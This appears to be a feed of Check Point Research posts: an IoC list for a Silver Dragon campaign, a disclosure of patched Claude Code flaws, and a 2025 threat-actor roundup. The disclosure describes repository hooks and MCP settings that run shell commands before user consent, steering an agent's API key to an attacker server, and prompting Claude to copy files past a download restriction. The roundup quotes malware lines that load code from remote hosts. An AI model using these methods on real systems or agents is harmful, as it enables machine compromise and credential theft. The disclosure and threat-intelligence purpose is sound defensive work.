Throughout our analysis, we observed that the group continuously evolves its tooling and techniques, actively testing and deploying new capabilities across different campaigns. The use of diverse vulnerability exploits, custom loaders, and sophisticated file-based C2 communication reflects a well-resourced and adaptable threat group.

IoC

Type	IoC
C2 Domain	zhydromet[.]com
C2 Domain	ampolice[.]org
C2 Domain	onedriveconsole[.]com
C2 Domain	copilot-cloud[.]net
C2 Domain	drivefrontend.pa-clients.workers[.]dev
C2 Domain	revitpourtous[.]com
C2 Domain	wikipedla[.]blog
C2 Domain	protacik[.]com
C2 Domain	oicm[.]org
C2 Domain	mindssurpass[.]com
C2 Domain	exchange4study[.]com
C2 Domain	splunkds[.]com
C2 Domain	bigflx[.]net
GearDoor	4f93be0c46a53701b1777ab8df874c837df3d8256e026f138d60fc2932e569a8
GearDoor	7f89a4d5af47bc00a9ad58f0bcbe8a7be2662953dcd03f0e881cc5cbf6b7bca8
SSHcmd	bcbe2f0a8134c0e7fce18d0394ababc1d910e6f7b77b8c07643434cd14f4c5d6
SilverScreen	44e769efed3e4f9f04c52dcd13f15cead251a1a08827a2cb6ea68427522c7fbb
SilverScreen	85a03d2e74ae84093a74699057693d11e5c61f85b62e741778cbc5fc9f89022f
Phishing LNK	51684a0e356513486489986f5832c948107ff687c8501d64846cdc4307429413
Phishing LNK	166e777cb72a7c4e126f8ed97e0a82e7ca9e87df7793fea811daf34e1e7e47a6
Phishing LNK	948468aba5c851952ebe56a5bf37904ed83a6c8cb520304db6938d79892f0a1b
BamboLoader	e3b016f2fc865d0f53f635f740eb0203626517425ed9a2908058f96a3bcf470d
BamboLoader	967b5c611d304385807ea2d865fa561c15cde0473dd63e768679a4f29f0e4563
BamboLoader	43f8f94ca5aa0af7bfb0cc1d2f664a46500a161b2d082b48b516d084ef485348
BamboLoader	3128bdb8efaaa04c0ba96337252f4cc2dc795021cbc410f74ace9dde958bac1d
BamboLoader	b93560c4d18120e113fb8b04a8aa05f66a12116d1fbf18a93186f6314381e97e
BamboLoader	ddaca57f3d5f4986da052ca172631b351410d6f5831f6af351699c6201cc011b
BamboLoader	c4de1f1a8cb3b0392802ee56096ddb25b6f51c51350ce7c45e14d8c285765300
BamboLoader	7384462d420bdc9683a4cac2a8ad19353a2aa7d2244c91e9182345777e811e33
BamboLoader	74a11a07d167f8f5c0baa724d1f7708985c81d0ac3d0e4d7ef3f3220c335e009
MonikerLoader	5ad857df8976523cb3ad2fdf30e87c0e7daa64135716b139ffdcd209b98e1654
MonikerLoader	740a09fcdefa5a5f79355b720f54ff09efa64062229fb388adbccd9c829e9ff0
MonikerLoader	5341c7256542405abdd01ee288b08e49dcb6d1782be6b7bea63b459d80f9a8f5
MonikerLoader	3a2df7a2cfeca5ba315a29cf313268a53a22316c925e6b9760ead8f4df0d1f75
MonikerLoader stage 2	2f787c1454891b242ab221b8b8b420373c3eb1a0c1fdcb624dd800c50758bbb0
MonikerLoader stage 2	568c67564d62b09d1a1bc29a494cf4bf31afddcafcf78592b178c63f23ccfcae
MonikerLoader stage 2	19139a525ee9c22efd6a4842c4cd50ab2c5f9ee391e5531071df0bb4e685f55d
MonikerLoader stage 2	72e4b6540e32b8b7aac850055609bc5afc19e29834e9aa6be29a8ea59a2c9785
Install bat	16b9a7358be88632378ba20ba1430786f3b844694b1f876211ecdbecf5cccbc2
Install bat	37b485ed8d150d022c41e5e307b8c54c34ef806625b44d0c940b18be7d5b29ce
Install bat	3e2a0bafbd44e24b17fd7b17c9f2b2a3727349971d42612d55bbc1732082619a
Install bat	8c29f9189a9ad75a959024f59e68c62d42a6fd42f9eacf847128c7efe4ef7578
Install bat	bd699ed720e2bd7085b3444cb8f4d36870b5b48df1055ec6cc1553db3eef7faf
Install bat	a6b5448ba45f3f352f5f4c5376024891adda1ef8ebf62a8fe63424fa230c691d

The post Silver Dragon Targets Organizations in Southeast Asia and Europe appeared first on Check Point Research.

By Aviv Donenfeld and Oded Vanunu

Executive Summary

Check Point Research has discovered critical vulnerabilities in Anthropic’s Claude Code that allow attackers to achieve remote code execution and steal API credentials through malicious project configurations. The vulnerabilities exploit various configuration mechanisms including Hooks, Model Context Protocol (MCP) servers, and environment variables -executing arbitrary shell commands and exfiltrating Anthropic API keys when users clone and open untrusted repositories. Following our disclosure, Check Point Research collaborated closely with the Anthropic security team to ensure these vulnerabilities were fully remediated. All reported issues have been successfully patched prior to this publication.

Background

As AI-powered development tools rapidly integrate into software workflows, they introduce novel attack surfaces that traditional security models haven’t fully addressed. These platforms combine the convenience of automated code generation with the risks of executing AI-generated commands and sharing project configurations across collaborative environments.

Claude Code, Anthropic’s AI-powered command-line development tool, represents a significant target in this landscape. As a leading agentic tool within the developer ecosystem, its adoption by technology professionals and integration into enterprise workflows means that the platform’s security model directly impacts a substantial portion of the AI-assisted development landscape.

Claude Code Platform

Claude Code enables developers to delegate coding tasks directly from their terminal through natural language instructions. The platform supports comprehensive development operations including file modifications, Git repository management, automated testing, build system integration, Model Context Protocol (MCP) tool connections, and shell command execution.

Vibe-coding an awesome project using Claude Code

Configuration Files as Attack Surface

While analyzing Claude Code’s architecture, we examined how the platform manages its configurations. Claude Code supports project-level configurations through a .claude/settings.json file that lives directly in the repository. This design makes sense for team collaboration – when developers clone a project, they automatically inherit the same Claude Code settings their teammates use, ensuring consistent behavior across the team.

Since .claude/settings.json is just another file in the repository, any contributor with commit access can modify it. This creates a potential attack vector: malicious configurations could be injected into repositories, possibly triggering actions that users don’t expect and may not even be aware are occurring.

We set out to investigate what these repository-controlled configurations could actually do, and whether they could be leveraged to compromise developers working with affected codebases.

Vulnerability #1: RCE via Untrusted Project Hooks

During our research into Claude Code’s configuration documentation, we encountered Anthropic’s recently released Hooks feature. Hooks are designed to provide deterministic control over Claude Code’s behavior by executing user-defined commands at various points in the tool’s lifecycle. Unlike relying on the AI model to choose when to perform certain actions, Hooks ensure that specific operations always execute when predetermined conditions are met.

Some common use cases for Hooks include:

• Automatic code formatting: Run prettier on .ts files, gofmt on .go files, etc. after every file edit
• Compliance and debugging workflows: Provide automated feedback when Claude Code produces code that doesn’t follow codebase conventions
• Custom permissions: Block modifications to production files or sensitive directories

Hooks are defined in .claude/settings.json – the same repository-controlled configuration file we identified earlier. This means any contributor with commit access can define hooks that will execute shell commands on every collaborator’s machine when they work with the project. The question was: what happens when those commands come from an untrusted source?

To test this, we crafted a .claude/settings.json file which includes a simple hook that would open a Calculator. We chose to use the SessionStart event with a startup matcher, which according to Hooks documentation triggers automatically during Claude Code initialization:

     

When we ran claude in the project directory, the following trust dialog was presented:

The dialog warns about reading files and mentions that Claude Code may execute files “with your permission.” This phrasing suggests that user approval will be required before any execution occurs. Indeed, when Claude Code attempts to run commands during a normal session (such as executing a bash script), it does prompt for explicit confirmation:

Before execution of bash commands, Claude requests for explicit approval from the user.

We expected hooks to receive the same explicit confirmation prompt.

Back to our test: we clicked “Yes, proceed” on the prompt from when we first ran Claude.

Surprisingly, the Calculator app opened immediately, with no additional prompt or execution warning.

We went back and examined the initial dialog more carefully. While it mentions files being executed “with your permission,” there’s no warning that hook commands defined in .claude/settings.json will run automatically without confirmation, as well as no explicit approval which was required to execute the bash command demonstrated above. The session appears completely normal while commands from the untrusted repository have already run in the background.

With this behavior confirmed, the path to remote code execution became clear. An attacker could configure the hook to execute any shell command – such as downloading and running a malicious payload:

The following video demonstrates how an attacker may leverage this vulnerability to achieve a reverse shell:

 

During our investigation of Claude Code’s configuration system, we discovered that hooks weren’t the only feature controlled through repository settings. This led us to examine other configuration-based execution mechanisms, particularly the MCP (Model Context Protocol) integration.

Vulnerability #2: RCE Using MCP User Consent Bypass

Another interesting setting that Claude Code supports is MCP (Model Context Protocol), which allows Claude Code to interact with external tools and services through a standardized interface.

Similar to Hooks, MCP servers can be configured within the repository via .mcp.json configuration file. When opening a Claude Code conversation, the application initializes all MCP servers by running the commands written in the MCP configuration file.

To test the MCP configurations, we configured a fake MCP server whose initialization command opens a Calculator for demonstration:

We observed that Anthropic had implemented an improved dialog in response to our first reported vulnerability [GHSA-ph6w-f82w-28w6]. This new dialog explicitly mentions that commands in .mcp.json may be executed and emphasizes the risks of proceeding:

User consent dialogue for MCP servers initialization

This improved warning would make it much more difficult for an attacker to convince users to confirm initialization of Claude Code over a malicious project. With this in mind, our goal shifted to finding a way to execute the injected commands without any user consent.

Reviewing Claude Code’s settings documentation, we identified the following two configurations:

These parameters allow automatic approval of MCP servers: enableAllProjectMcpServers enables all servers defined in the project’s .mcp.json file, while enabledMcpjsonServers whitelists specific server names. In legitimate use cases, these settings enable seamless team collaboration – developers cloning a repository automatically get the same MCP integrations (filesystem, database, or GitHub tools) without manual setup.

Additionally, just like Claude Code hooks, these configurations can be included in the repository-controlled .claude/settings.json file. We tested whether this could bypass the user consent dialog:

Starting Claude Code with this configuration revealed a severe vulnerability: our command executed immediately upon running claude – before the user could even read the trust dialog. Ironically, the calculator application opened on top of the pending trust dialog:

Similar to the hooks vulnerability, we escalated this into a reverse shell, demonstrating complete compromise of a victim’s machine:

Vulnerability #3: API Key Exfiltration via Malicious ANTHROPIC_BASE_URL

Following our discovery that Claude Code’s configuration system could execute arbitrary commands, we wanted to understand the full scope of what could be controlled through .claude/settings.json. While exploring the configuration schema, we found that environment variables could also be defined in this file. One particular variable caught our attention: ANTHROPIC_BASE_URL.

This environment variable controls the endpoint for all Claude Code API communications. In normal operation, it points to Anthropic’s servers, but like other settings, it could be overridden in the project’s configuration file.

This presented an opportunity: we could intercept and analyze the actual communication between Claude Code and Anthropic’s servers. We set up mitmproxy, a tool for intercepting HTTP traffic, and configured ANTHROPIC_BASE_URL to route through our local proxy. This would let us observe every API call Claude Code made in real-time:

We started Claude Code and watched the traffic flow through our proxy. Something immediately caught our attention: before we could even interact with the trust dialog, Claude Code had already initiated several requests to Anthropic’s servers:

Requests captured by our mitmproxy

The requests seem to include prompts responsible for initializing the session with relevant information, including file names in the repository and recent commit messages.

But more critically, every request included the authorization header – our full Anthropic API key, completely exposed in plaintext:

What started as research method into the communication between Claude Code client and server immediately became an attack vector on its own. An attacker could place this configuration in a malicious repository:

When a victim clones the repository and runs claude, their API key would be sent directly to the attacker’s server – before the victim decides to trust the directory. No user interaction required.

But what could an attacker actually do with a stolen API key? The obvious answer was billing fraud – running Claude queries charged to the victim’s account. But as we explored Anthropic’s API documentation to understand the full scope of access, we discovered something far more concerning: Workspaces.

Claude’s Workspaces

Claude’s Workspaces is a feature introduced within the API Console to help developers manage multiple Claude deployments more effectively. Workspaces are especially useful for teams and multi-project environments, allowing them to organize resources, streamline access controls, and maintain shared contexts across tools. In practice, a Workspace acts as a collaborative environment where multiple API keys can work with the same cloud-mounted project files.

Files stored in a Workspace aren’t scoped to individual API keys. Instead, they belong to the workspace itself – meaning multiple developers, each using their own API key, may implicitly share the same storage area. Any API key belonging to that workspace inherits visibility into the Workspace’s stored files.

To understand how this behaves in practice, we created a workspace with two API keys:

We then reviewed the Files API documentation, which allows managing files within a Workspace, and began testing file uploads and downloads.

We uploaded a file using the following request:

We noticed the API response showed the downloadable parameter set to false:

Attempting to download the file did indeed fail. We confirmed this behavior in the documentation:

You can only download files that were created by skills or the code execution tool. Files that you uploaded cannot be downloaded.

This appears to be an architectural choice rather than a security boundary. Any developer who can upload files to the Workspace is already fully trusted: if they can write files, they typically also have access to the original content.

Nevertheless, since this weakens our attack impact, we wondered whether we could bypass this behavior. Since files generated by Claude’s code execution tool are marked as downloadable, we explored whether the attacker could simply ask Claude to regenerate an existing file using the stolen API key. If successful, this would convert a non-downloadable file into a workspace artifact that is eligible for download.

We instructed Claude to produce a copy of the file with a .unlocked suffix:

As we expected, Claude generated an exact copy of the file:

We then downloaded this regenerated file and confirmed the content was identical to the original:

This demonstrates that the download restriction can be trivially bypassed: regenerating the file through the code execution tool converts it into a system-generated artifact that the Files API allows to be downloaded.

This confirms an attacker using a stolen API key gains complete read and write access to all workspace files, include those uploaded by other developers.

With a stolen API key, an attacker can:

• Access sensitive files by regenerating them through the code execution tool
• Delete critical files from the workspace
• Upload arbitrary files to poison the workspace or exhaust the 100 GB storage space quota
• Exhaust API credits, leading to unexpected costs for the account owner or service interruption when rate limits/budgets are reached

Unlike the code execution vulnerabilities that compromised a single developer’s machine, a stolen API key may provide access to an entire team’s shared resources.

The following video demonstrates the complete attack chain: exfiltrating the victim’s API key and using it to access their workspace storage:

Supply Chain Attack Scenarios

This vulnerabilities are particularly dangerous because they leverage supply chain attack vectors – the malicious configuration spreads through trusted development channels:

• Malicious pull requests: Attackers can submit seemingly legitimate PRs that include the malicious configuration alongside actual code changes, making it harder for reviewers to spot the threat
• Honeypot repositories: Attackers can create useful-looking projects (development tools, code examples, tutorials) that contain the malicious configuration, targeting developers who discover and clone these repositories
• Internal enterprise repositories: A single compromised developer account or insider threat can inject the configuration into company codebases, affecting entire development teams

The key factor making this a supply chain attack is that developers inherently trust project configuration files – they’re viewed as metadata rather than executable code, so they rarely undergo the same security scrutiny as application code during code reviews.

Anthropic’s Fixes

Anthropic addressed the first vulnerability by implementing an enhanced warning dialog that appears when users open projects containing untrusted Claude Code configurations:

This improved warning addresses not only the hooks vulnerability but also other potential risks from untrusted project directories, including malicious MCP configurations. Anthropic claimed to develop additional security hardening features planned for release in the coming months to provide more granular risk controls.

For the second vulnerability, Anthropic fixed the bypass by ensuring that MCP servers cannot execute before user approval, even when enableAllProjectMcpServers or enabledMcpjsonServers are set in the repository’s configuration files.

For the third vulnerability, Anthropic fixed the API key exfiltration issue by ensuring that no API requests are initiated before users confirm the trust dialog. This prevents malicious ANTHROPIC_BASE_URL configurations from intercepting API keys during the project initialization phase, as Claude Code now defers all network operations until after explicit user consent.

We would like to thank Anthropic for their excellent collaboration and thoughtful engagement throughout this disclosure process.

Protecting Against Configuration-Based Attacks

Modern development tools increasingly rely on project-embedded configurations and automations, creating new attack vectors that developers must navigate. As these tools continue to evolve and add features, configuration-based risks are likely here to stay as a persistent threat in development ecosystems.

Just as developers have learned they cannot blindly execute code from untrusted sources, we must extend that same caution to opening projects with modern development tools. The line between configuration and execution continues to blur, requiring us to treat project setup files with the same careful attention we apply to executable code.

How to Stay Protected:

• Keep Your Tools Updated – Ensure you are running the latest version of Claude Code. All vulnerabilities discussed in this report have been patched, and running the current version is the most effective way to stay protected.
• Inspect configuration directories before opening projects – examine .claude/, .vscode/, and similar tool-specific folders
• Pay attention to tool warnings about potentially unsafe files, even in legitimate-looking repositories
• Review configuration changes during code reviews with the same rigor applied to source code
• Question unusual setup requirements that seem overly complex for a project’s apparent scope

Timeline and Disclosure

• July 21st, 2025 – Check Point Research reported the malicious hooks vulnerability to Anthropic
• August 26th, 2025 – Anthropic implemented a final fix after collaborative refinement process
• August 29th, 2025 – Anthropic publishes GitHub Security Advisory GHSA-ph6w-f82w-28w6
• September 3rd, 2025 – Check Point Research reported the user consent bypass vulnerability to Anthropic
• September 22nd, 2025 – Anthropic implemented a fix for the bypass vulnerability
• October 3rd, 2025 – Anthropic publishes CVE-2025-59536
• October 28th, 2025 – Check Point Research reported the API Key exfiltration vulnerability to Anthropic
• December 28th, 2025 – Anthropic implemented a fix for the API Key exfiltration vulnerability
• January 21st, 2026 – Anthropic publishes CVE-2026-21852
• February 25th, 2026 – Public disclosure

Conclusion

These vulnerabilities in Claude Code highlight a critical challenge in modern development tools: balancing powerful automation features with security. The ability to execute arbitrary commands through repository-controlled configuration files created severe supply chain risks, where a single malicious commit could compromise any developer working with the affected repository.

The integration of AI into development workflows brings tremendous productivity benefits, but also introduces new attack surfaces that weren’t present in traditional tools. Configuration files that were once passive data now control active execution paths. As AI-powered development tools become more prevalent, the security community must carefully evaluate these new trust boundaries to protect the integrity of our software supply chains.

The post Caught in the Hook: RCE and API Token Exfiltration Through Claude Code Project Files | CVE-2025-59536 | CVE-2026-21852<other cve="" id="" tbd=""></other> appeared first on Check Point Research.

Introduction

Check Point Research (CPR) continuously tracks threats, following the clues that lead to major players and incidents in the threat landscape. Whether it’s high-end financially-motivated campaigns or state-sponsored activity, our focus is to figure out what the threat is, report our findings to the relevant parties, and make sure Check Point customers stay protected.

Some of our work naturally makes it into the spotlight through public reports and deep blog posts. However, a large portion of what we uncover remains in the shadows but is used on a day-to-day basis to improve protections, connect the dots between incidents, and keep a watchful eye on known threat actors and infrastructure.

In 2025, the activity varied by region and objective. In the Americas, attackers invested in high-value targets, including early ToolShell exploitation assessed as Chinese-nexus activity against North American government organizations. Identity-centric intrusion methods were also prominent, such as AiTM-enabled credential theft in targeted campaigns against researchers within US think tanks.

In Europe, the year combined disruption, espionage, influence operations, and financially motivated intrusions. Russian-affiliated activity drove pressure in Eastern Europe and Ukraine, while Chinese and Iranian-nexus actors remained active, and election-related influence efforts persisted, including renewed targeting around Moldova’s parliamentary cycle.

Across Asia Pacific and Central Asia, Chinese-nexus espionage was sustained, frequently relying on updated versions of established attack playbooks. In the Middle East and Africa, campaigns reflected a diversified mix of state-aligned operations, destructive activity, and PSOA-linked exploitation, with conflict periods amplifying targeted collection such as attempts to compromise internet-connected cameras.

Across these threats, novelty more often came from how familiar techniques were combined than from entirely new tooling. Actors repeatedly used trusted platforms and common enterprise pathways: cloud hosting for command and control, remote administration tooling, DLL side-loading chains, and social engineering patterns such as ClickFix, to reduce detection and improve reliability. Overall, 2025 reinforced the need for durable visibility across identity, cloud, and endpoints, faster closure of exposed and unpatched entry points, and industry collaboration.

Figure 1 – Overview of CPR Untold Stories 2025.

Americas

Throughout the year, the Americas were a focal point for both nation state activity and high-end cybercrime, with a wide mix of actors targeting government and private-sector organizations alike. The state-sponsored groups in particular seem to reserve some of their most innovative tradecraft for targets in the Americas. Whether through zero-day exploitation, abuse of cloud services, or highly refined phishing operations, attackers appear willing to invest more time and sophisticated efforts for targets in this region.

ToolShell Exploitation Used as a Zero-day by Chinese-nexus Actors

ToolShell is an exploit chain targeting on-premises Microsoft SharePoint and enables unauthenticated remote code execution (RCE) on vulnerable servers. It works by abusing weaknesses in how SharePoint handles certain web service / API requests, which allow attackers to reach code execution without needing valid credentials. ToolShell’s involvement in active exploitation efforts has been observed globally.

While analyzing in July the broader wave of ToolShell activity, we found a subset of targeted incidents where the exploit chain appears to have been used as a zero-day, before the original patch was available. In each of these limited early exploitation attempts, the targets were government-sector organizations in North America.

We attribute the zero-day exploitation activity to Chinese-nexus threat actors. This assessment is based on the supporting infrastructure we observed in this campaign, which includes router-based relay nodes consistent with Operation Relay Box (ORB)-style networks, an approach most frequently seen in intrusions attributed by multiple vendors to Chinese nexus groups. This assessment aligns with Microsoft Threat Intelligence report that Chinese APTs exploited the vulnerability as a zero-day.

Figure 2 – ToolShell Exploitation Timeline.

Kimsuky Targeting Think-Tanks in the US

Since mid-July, we’ve been tracking a targeted phishing campaign aimed at researchers within US think tanks which focus on North Korean affairs and policy. The campaign relies on spear-phishing emails, often impersonating peers from European universities or NGOs, with invitations to collaborate or participate in academic or policy events.

The malicious emails contain either a link or a PDF attachment embedding a QR code, both of which lead to web pages impersonating legitimate organizations.

Figure 4 – Example of a phishing landing page (hosted at signup-forms[.]theonlycompany[.]com), explaining the login request.

The landing pages claim a login is required and include a button that redirects victims to credential-harvesting sites tailored to their email providers, such as Yahoo, Gmail, or Microsoft. The phishing infrastructure leverages Adversary-in-the-Middle (AiTM) kits to bypass MFA and gain unauthorized access to victims’ email accounts.

RedCurl Weaponizes LNK files

RedCurl is a sophisticated, Russian-speaking threat actor historically tied to corporate espionage, and most recently, to ransomware operations. The actor has targeted North American entities for years. In more recent activity affecting North America and Asia, we observed a new multi-stage infection chain that pulls a remote resource by abusing the Working Directory parameter in LNK files. The LNKs point to a legitimate Windows binary (such as conhost or rundll32), and pass an argument that references a file located in that remote working directory production[.]dav[.]indeedex[.]workers[.]dev.

Creation date: 1970-01-01T00:00:00Z 
Access date: 1970-01-01T00:00:00Z 
Modification date: 1970-01-01T00:00:00Z 
Target path: My Computer (Computer) : C:\Windows\system32\rundll32.exe 
Icon location: %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe 
Target working directory: \\production.dav.indeedex.workers[.]dev\DavWWWRoot 
Command line arguments: C:\Windows\system32\shell32.dll,Control_RunDLL .\6b5c-47a8-919e-39f3c44d7a3e.dll 
LNK Flags: HasTargetIDList, IsUnicode, HasWorkingDir, HasArguments, HasExpIcon, HasIconLocation

This combination of living-off-the-land execution, using WebDAV and remote resource loading, appears to contribute to exceptionally low detection rates. While we haven’t observed clear post-exploitation activity in our data, we did see indications suggesting the intrusion path may ultimately lead to the deployment of RedCurl’s custom ransomware.

Europe

The activity we observed in Europe ranges from operations designed to disrupt, to those intended to influence and mislead, to financially motivated campaigns. Together, these threats threaten every pillar of data security: confidentiality, integrity, and availability.

The most aggressive activity is driven by Russian-affiliated actors, especially in Eastern Europe and Ukraine, where they employ a mixture of tactics consistent with aims of espionage, disruption, and “hacktivism.” At the beginning of 2025, we reported on one major espionage campaign, attributed to APT29, which targeted foreign affairs ministries. However, Russia nexus actors isn’t the only major player in this arena: Europe continues to face sustained pressure from Chinese and Iranian nexus threat actors as well, alongside a steady stream of financially-motivated groups targeting the continent.

Camaro Dragon Targeting Government Sector

In 2025, we tracked multiple Chinese-aligned actors targeting Europe. Within this broader set of operations, we observed a recurring campaign against European government agencies that looks like an evolution of the SmugX activity we reported in 2023. The campaign, likely a subset of Camaro Dragon (also known as Mustang Panda), uses well-crafted phishing to deliver PlugX payloads.

The initial infection begins with spear-phishing emails sent from what appear to be government addresses, either compromised mailboxes or spoofed senders, targeting Foreign Affairs ministries across Europe. The messages contain a hyperlink to an HTML landing page hosted on Microsoft Azure’s cloud-based web storage service (*.web.core.windows.net).

Figure 5 – Camero Dragon’s Infection Chain.

When opened, the HTML executes a short, embedded JavaScript snippet that reconstructs and launches a download link. The script dynamically assembles the next stage URL using ASCII-encoded fragments, then redirects the browser to download an archive file such as 262a1003a2cd04993b29e687686eba573d6202fea8611c437ecbd6312802677a. This archive contains a Windows shortcut (LNK) file that serves as the dropper for the next stage.

COLDRIVER in Southeast Europe

Despite multiple recent public exposures, the Russian affiliated threat group COLDRIVER (also tracked as UNC4057, Star Blizzard, and Callisto) has not slowed down or paused its activity. Instead, the group continues to rapidly adapt its operations. In Q4 2025, we observed multiple campaigns impersonating US-based nonprofit organizations, including NED (National Endowment for Democracy) and USRF (The US–Russia Foundation), as well as campaigns targeting Southeast Europe that use fake websites impersonating a major regional media and broadcasting company.

These campaigns highlight the group’s ability to quickly evolve its tooling and delivery mechanisms in response to exposure. As part of this evolution, COLDRIVER introduced changes to its multi-stage MAYBEROBOT (also known as SIMPLEFIX) malware delivery chain. Beginning with ClickFix-style self-infection, the updated chain incorporates additional stagers with enhanced attacker-side security measures, such as DGA and RSA-based authenticity checks for C2 communications.

Figure 6 – ClickFix-style attack staged using a fake United Media website.

Lying Pigeon Campaign Targeting the Moldovan Elections

In 2024, we exposed Operation MiddleFloor, a campaign in Moldova by the Russian-speaking group Lying Pigeon. Ahead of the October 2024 presidential elections and EU referendum, the group used spoofed emails and forged documents, impersonating EU institutions, Moldovan ministries, and political figures to spread anti-European narratives. We also discovered that previously, Lying Pigeon also targeted other major European political events, including the NATO 2023 summit in Vilnius and Spain’s 2023 general elections.

Since mid-April 2025, we observed a new wave of activity aimed at Moldova’s September parliamentary elections. Most of this activity used the same techniques as the MiddleFloor campaign, spreading fake documents to erode trust in Moldovan pro-European leadership. In addition, at the end of May, Lying Pigeon launched a large-scale defamation campaign using over a dozen domains to promote a poster contest attacking PAS, the ruling Party of Action and Solidarity founded by President Maia Sandu. Though framed as citizen-led, it was a coordinated propaganda and disinformation effort running on Lying Pigeon infrastructure. Interestingly, the contest site itself was cloned from a website of a Russian anti-terrorism poster competition held in 2024.

Figure 7 – Anti-PAS contest website (machine translation).

UAC-0050 Phishing Campaign

In August, a phishing campaign targeting multiple organizations in Ukraine was launched from compromised email accounts. The emails masquerade as communications from the Ukrainian tax authorities and contain a malicious link to the 4sync.com file sharing service, prompting recipients to download a malicious archive named tax_gov_ua_zapit_15_08_2025_X.zip. Upon successful execution, a Remote IT support tool is installed on background, granting unauthorized access to the threat actor. This campaign shares similarities with UAC-0050.

Figure 8 – UAC-0050 Phishing masquerading as tax.gov.ua.

Zipline Shifting to Europe

Earlier this year, we reported a sophisticated phishing campaign targeting US organizations with unusually elaborate social engineering. The campaign, named ZipLine, was noteworthy because the attacker reached out through the victim’s public “Contact Us” form, reversing the typical phishing flow and prompting the organization to initiate the email exchange.

Since that publication, we’ve seen a noticeable shift in both the group’s TTPs and its targeting, with a clear refocus on Europe. Recent waves lean heavily on HR-themed lures, and our data suggests the actor is running country-by-country campaigns, most notably against the UK, Poland, Italy, and the Czech Republic. The tooling also appears to have evolved into newer iterations of MixShell, with the actor now relying almost entirely on herokuapp domains for C2 communication.

Figure 9 – Zipline lure targets Europe.

Asia Pacific and Central Asia

The activity we observed across Asia reflects a sustained regional espionage push by Chinese-aligned actors. For much of the year, the dominant TTPs (Tactics, Techniques, and Procedures) we saw were best described as updated versions of familiar playbooks: reusing modular backdoor ecosystems such as PlugX and ShadowPad, and repeating patterns that were effective for these groups in the past.

At the same time, a smaller subset of APT activity stood out for being more deliberate and mature, reflecting a higher investment in tradecraft and operational discipline than the broader baseline we typically see in the region. However, the picture on the ground is still unclear as many of the same environments are targeted by multiple actors over long periods, leaving behind overlapping infrastructure, tooling, and artifacts. This creates an intertwined landscape that can be difficult to untangle, especially in Southeast Asia.

GoldenSMTP Targeting Governments in Central Asia

Throughout 2025, we observed multiple instances of activity that we determined to be an evolution of the IndigoZebra APT. These events primarily target Central Asia and rely on a mix of backdoors and supporting tools. Initial access is typically delivered via password-protected ZIP archives using phishing-style filenames, followed by DLL hijacking to install the first backdoor. Across the intrusion chain, we also saw a broader toolkit that included Pandora RC installer (open-source IT remote control software), shellcode loaders, and the NPPSPY credential stealer.

Figure 10 – GoldenSMTP masquerades as SentinelOne Agent using debug strings.

Next, the attackers deploy a dedicated SMTP/IMAP-based implant, named GoldenSMTP, which communicates through attacker-controlled email accounts, often named after local athletes, inside the target organization. This unusual C2 channel, combined with the use of compromised systems, appears to be at least partly responsible for the notably low detection rates of the backdoors installed in the later stages of the intrusion.

Several of the samples showed code overlaps with older IndigoZebra malware, and the operation itself reflects familiar patterns: targeting Central Asia, reusing older infrastructure, relatively simple obfuscation, and checks for Russian-language systems.

Flax Typhoon Targets IT Supply Chains in Taiwan

We observed an intrusion set at a Taiwan-based cloud service provider where the threat actor abused legitimate security products to execute a DLL side-loading chain. The side-loaded DLL acted as a PlugX loader, which then brought in multiple plugins and injected them into other processes, with capabilities such as reverse shell access and keylogging. In this case, the built-in nslookup.exe utility was used to initiate C2 communication.

After establishing a foothold, the attackers scanned the network and moved laterally using RDP. We also identified a SoftEther VPN binary placed at C:\Windows\SysWOW64\conhost.exe, a technique that other security vendors linked to the APT group known as Flax Typhoon.

Flax Typhoon has been flagged by US government agencies as a major cyber risk for the technology ecosystem, including managed service providers (MSPs) and other IT service providers.

SilverFox Attacks Web Servers

The SilverFox APT group continues to target organizations across East Asia, with a particular focus on Taiwan and Japan, using a multi-stage backdoor known publicly as ValleyRAT. As part of the infection chain, the group employs a “bring your own vulnerable driver” (BYOVD) technique to terminate security product processes and reduce the chances of detection.

We also identified a newly observed initial access vector: compromised PHP servers exposed to remote code execution. After successful exploitation, the group leverages the legitimate Windows msiexec component to install a ValleyRAT implant from hxxp[:]//aadcasc[.]cn-nb1[.]rains3[.]com/100ww.msi.

Figure 11 – ValleyRAT web exploitation chain.

YoroTrooper Targets Eurasian Economic Union Countries

Throughout 2025, YoroTrooper, a threat group active in CIS countries since at least 2020, was observed targeting member states of the Eurasian Economic Union (EAEU) countries and its regulatory body, the Eurasian Economic Commission. Targets included government and diplomatic entities, as well as infrastructure projects in these countries. The attackers used PDF documents to lure victims to either phishing pages that steal credentials or to cloud-based file sharing services hosting malware. Consistent with other YoroTrooper campaigns, the threat actors deployed “burner” RATs as payloads, typically leveraging services such as Telegram and Discord for C2 communications.

Figure 12- Example of phishing PDF document (549df969dc5b340b4fc850584a01c767ca8a1bd712f16210f164f85e26c3e58b) targeting government entity in Kyrgyz Republic.

APT36 Targeting Indian Aerospace Industry

At the beginning of 2025, we identified a targeted phishing campaign aimed at government entities and the Indian aerospace industry. Based on infrastructure overlap, targeting focus, and operational tradecraft, we can attribute the activity with moderate confidence to APT36.

Phishing emails, with the subject line “RFI for Surveillance Systems for [REDACTED] State Police,” were sent from a compromised legitimate local Indian government email account, lending significant credibility to the lure. The campaign leveraged ISO attachments containing malicious LNK files, which executed embedded batch scripts. These scripts deployed a stealer malware capable of exfiltrating documents and other sensitive files from compromised hosts, and shares code similarity with ObliqueRAT. Later in the year, we observed additional activity consistent with this campaign targeting entities in Afghanistan, indicating an expansion of the threat group’s operational scope.

Figure 13 – Snippet of PDF lure targeting the Indian aerospace industry.

Middle East and Africa

Recent activity across the Middle Eastern and North African (MENA) region reflects a diversified threat landscape with state-aligned advanced persistent threat (APT) groups, private sector offensive actors (PSOAs), and destructive operators deploying wipers. Campaigns blend legacy social engineering with increasingly disciplined operational planning, and use legitimate cloud apps, and code-signing or supply chain-style trust signals to lower detection rates.

Private Sector Offensive Actors

Some of the more distinctive activity we’ve been tracking is commonly associated with what are known as Private Sector Offensive Actors (PSOA). Many of the PSOA-linked clusters we observed this year were active in the Middle East, where this type of innovative capability continues to surface. One of our prominent findings was the discovery of a zero-day exploited by StealthFalcon: CVE-2025-33053, a vulnerability used to target high-profile organizations in Turkey, Qatar, Egypt, Ethiopia and Yemen.

